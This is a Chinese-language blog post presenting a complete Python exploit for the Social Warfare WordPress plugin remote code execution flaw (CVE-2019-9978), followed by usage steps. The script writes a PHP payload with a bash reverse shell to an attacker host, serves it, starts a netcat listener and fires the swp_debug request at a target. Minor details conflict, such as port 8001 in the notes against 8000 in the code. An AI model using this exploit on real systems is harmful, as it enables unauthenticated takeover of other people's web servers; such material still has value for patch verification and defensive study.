WordPress Social Warfare插件3.5.2远程代码执行漏洞分析

本文详细分析了Social Warfare WordPress插件3.5.2版本中的远程代码执行漏洞(CVE-2019-9978),包含完整的Python利用代码、漏洞触发原理和利用步骤,涉及PHP反序列化漏洞利用和反向shell获取技术。

Social Warfare WordPress插件3.5.2远程代码执行(RCE)漏洞

漏洞概述

漏洞编号: CVE-2019-9978
风险等级: 高
影响版本: Social Warfare插件 <= 3.5.2
漏洞类型: 远程代码执行
CVSS基础评分: 4.3/10

技术细节

漏洞描述

Social Warfare WordPress插件3.5.2版本存在远程代码执行漏洞,攻击者可通过特制的swp_debug参数利用该漏洞在目标服务器上执行任意代码。

利用条件

  • 目标系统运行WordPress并安装Social Warfare插件(版本<=3.5.2)
  • 无需身份认证
  • 攻击复杂度:中等
  • 影响范围:远程

漏洞影响

  • 完整性影响: 部分
  • 可用性影响: 无
  • 机密性影响: 无

利用代码分析

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#!/usr/bin/env python3

# 漏洞利用标题: Social Warfare WordPress插件3.5.2 - 远程代码执行(RCE)
# 日期: 2025-06-25
# 利用作者: Huseyin Mardini (@housma)
# 原始研究员: Luka Sikic
# 原始利用作者: hash3liZer
# 供应商主页: https://wordpress.org/plugins/social-warfare/
# 软件链接: https://downloads.wordpress.org/plugin/social-warfare.3.5.2.zip
# 版本: <= 3.5.2
# CVE: CVE-2019-9978
# 测试环境: WordPress 5.1.1 + Social Warfare 3.5.2 (Ubuntu 20.04)
# Python版本: Python 3.x
# 参考: https://www.exploit-db.com/exploits/46794
# Github(原始PoC): https://github.com/hash3liZer/CVE-2019-9978

import requests
import threading
import http.server
import socketserver
import os
import subprocess
import time

# --- 配置 ---
TARGET_URL = "http://example.com"
ATTACKER_IP = "xxx.xxx.xx.xx"  # 更改为攻击机器IP
HTTP_PORT = 8000
LISTEN_PORT = 4444
PAYLOAD_FILE = "payload.txt"

def create_payload():
    """使用有效的PHP语法编写精确的反向shell载荷"""
    payload = f'<pre>system("bash -c \\"bash -i >& /dev/tcp/{ATTACKER_IP}/{LISTEN_PORT} 0>&1\\"")</pre>'
    with open(PAYLOAD_FILE, "w") as f:
        f.write(payload)
    print(f"[+] 载荷已写入 {PAYLOAD_FILE}")

def start_http_server():
    """通过HTTP服务载荷"""
    handler = http.server.SimpleHTTPRequestHandler
    with socketserver.TCPServer(("", HTTP_PORT), handler) as httpd:
        print(f"[+] HTTP服务器运行在端口 {HTTP_PORT}")
        httpd.serve_forever()

def start_listener():
    """启动Netcat监听器"""
    print(f"[+] 在端口 {LISTEN_PORT} 上监听反向shell...")
    subprocess.call(["nc", "-lvnp", str(LISTEN_PORT)])

def send_exploit():
    """使用易受攻击的参数触发漏洞利用"""
    payload_url = f"http://{ATTACKER_IP}:{HTTP_PORT}/{PAYLOAD_FILE}"
    exploit = f"{TARGET_URL}/wp-admin/admin-post.php?swp_debug=load_options&swp_url={payload_url}"
    print(f"[+] 发送漏洞利用: {exploit}")
    try:
        requests.get(exploit, timeout=5)
    except requests.exceptions.RequestException:
        pass

def main():
    create_payload()

    # 在后台启动Web服务器
    http_thread = threading.Thread(target=start_http_server, daemon=True)
    http_thread.start()
    time.sleep(2)  # 给服务器启动时间

    # 在后台启动监听器
    listener_thread = threading.Thread(target=start_listener)
    listener_thread.start()
    time.sleep(1)

    # 发送恶意请求
    send_exploit()

if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        print("[-] 用户中断操作。")

利用步骤

  1. 配置攻击参数:编辑配置部分,将ATTACKER_IP替换为攻击机器的IP地址
  2. 运行脚本:执行python3 exploit.py
  3. 自动化流程
    • 创建PHP载荷并保存为payload.txt
    • HTTP_PORT上启动HTTP服务器托管载荷
    • LISTEN_PORT上启动Netcat监听器
    • 通过易受攻击的swp_debug参数触发漏洞
  4. 成功结果:获得www-data用户权限的反向shell

注意事项

  • PAYLOAD_FILE仅定义要创建和服务的文件名
  • 确保端口8001和4444开放且未被使用
  • 该漏洞利用针对现代环境进行了优化,原始PoC在某些环境中可能无法正常工作

技术架构

该漏洞利用涉及以下技术组件:

  • PHP代码注入通过swp_debug参数
  • HTTP服务器用于托管恶意载荷
  • Netcat反向shell连接
  • 多线程处理并发操作

此安全漏洞凸显了WordPress插件安全审计的重要性,特别是对用户输入参数的严格验证。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计